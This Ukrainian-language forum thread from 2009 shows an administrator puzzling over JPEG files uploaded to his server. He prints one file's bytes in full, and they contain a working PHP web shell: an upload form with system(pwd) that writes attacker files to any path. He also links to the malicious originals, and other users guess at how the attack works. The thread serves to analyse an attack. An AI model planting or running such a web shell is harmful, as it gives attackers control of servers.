Автор Гілка: взлом за допомогою малюнків  (Прочитано 1313 раз)

Відсутній Volodymyrko

  • Графоман
  • ****
  • дописів: 370
  • Карма: +0/-0
  • I Like FreeBSD !
на сервер почали заливати такі малюнки
cat image.jpg | less
<FF><D8><FF><E0>^@^PJFIF^@^A^A^@^@^A^@^A^@^@<FF><DB>^@C^@<b><br>[Upload]</b><br><br>
<form action="" method="post" enctype="multipart/form-data">
<input type="text" name="path" size="50" value="<? system(pwd); ?>">
<input type="submit" name="upl0ad" value="<C7><E0><EA><E0><F7><E0><F2><FC>"><br><br>
<input type="file" name="file" size="30"></form>

<?php
$tempupload = $_FILES['file']['tmp_name'];
if (file_exists($tempupload)){
   $path = $_POST['path'];
   $upload = $_FILES['file']['name'];
   $pwdslash = $path."/".$upload;
   copy($tempupload, $pwdslash);
   echo "File was succesfully uploaded!";
}
?> ^W^X^S^Z&"((&"%$*0=3*-9.$%5H59?ADED)3KPJBO=CDA<FF><DB>^@C^A
^L^L^P^N^P^_^Q^Q^_A,%,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<FF><C0>^@^Q^H^@`^@O^C^A"^@^B^Q^A^C^Q^A<FF><C4>^@ESC
^@^@^B^B^C^A^@^@^@^@^@^@^@^@^@^@^@^E^F^C^D^@^B ^A ..................

але відкриваючи цей малюнок в firefox,opera я нічого не бачу. ні малюнка ні форми .. в IE якийсь кривий непонятний малюнок.. але форми нема
той код - це ж форма для заливики файлів ..
але як її використовувати ???
« Змінено: 2009-08-12 13:58:20 від vova07 »

Відсутній nickat

  • Письменник
  • *****
  • дописів: 587
  • Карма: +0/-0
  • Debian user
Re: взлом за допомогою малюнків
« Відповідей #1 : 2009-08-12 14:59:37 »
Хотілося б на оригінал такого малюнку подивитись.  Спробую поекспериментувати.  Якщо спрацює, розповім.
Best regards,
nickat

Відсутній Volodymyrko

  • Графоман
  • ****
  • дописів: 370
  • Карма: +0/-0
  • I Like FreeBSD !
Re: взлом за допомогою малюнків
« Відповідей #2 : 2009-08-12 15:24:25 »
ось заархівований
http://narod.ru/disk/11913277000/1458.jpg.gz.html

а ше вчора був простіший
http://narod.ru/disk/11913349000/1431.gif.gz.html

і ше кілька аналогічних..  але думаю вам хватить

чекатиму результату

Praporshic

  • Гість
Re: взлом за допомогою малюнків
« Відповідей #3 : 2009-08-12 15:59:53 »
Бачив я подібні речі. Розраховано на mime magic. Тобто той скрипт має виконуватись сервером, у якого вистачить дурості прочитати вміст файлу до відповідного місця та його виконати.

Відсутній nickat

  • Письменник
  • *****
  • дописів: 587
  • Карма: +0/-0
  • Debian user
Re: взлом за допомогою малюнків
« Відповідей #4 : 2009-08-12 17:05:32 »
Спочатку думав, що це спроба використати data: URL, але там бінарні данні у base64 кодуванні вставляються.  Тому, скоріше за все, це XSS атака на IE6 (тільки php сюди не дуже підходить).  Коротенький опис: http://kestas.kuliukas.com/JavaScriptImage Якщо є можливість, спробуйте відкрити 1458.jpg у IE6.  Повинна з’явитися веб-форма.  У мене такої можливості нема і встановлювати IE6 якось не хочеться, тому дивився це відео  :)
http://sarai.indymedia.org/~alster/stuff/ie6imgxss.avi.bz2
« Змінено: 2009-08-12 17:13:00 від nickat »
Best regards,
nickat

Відсутній Volodymyrko

  • Графоман
  • ****
  • дописів: 370
  • Карма: +0/-0
  • I Like FreeBSD !
Re: взлом за допомогою малюнків
« Відповідей #5 : 2009-08-13 15:32:24 »
Цитата
спробуйте відкрити 1458.jpg у IE6
відкривав.. форми нема...  є тільки якийсь непонятний малюнок..  таке враження ніби спорчений..
« Змінено: 2009-08-13 15:32:40 від vova07 »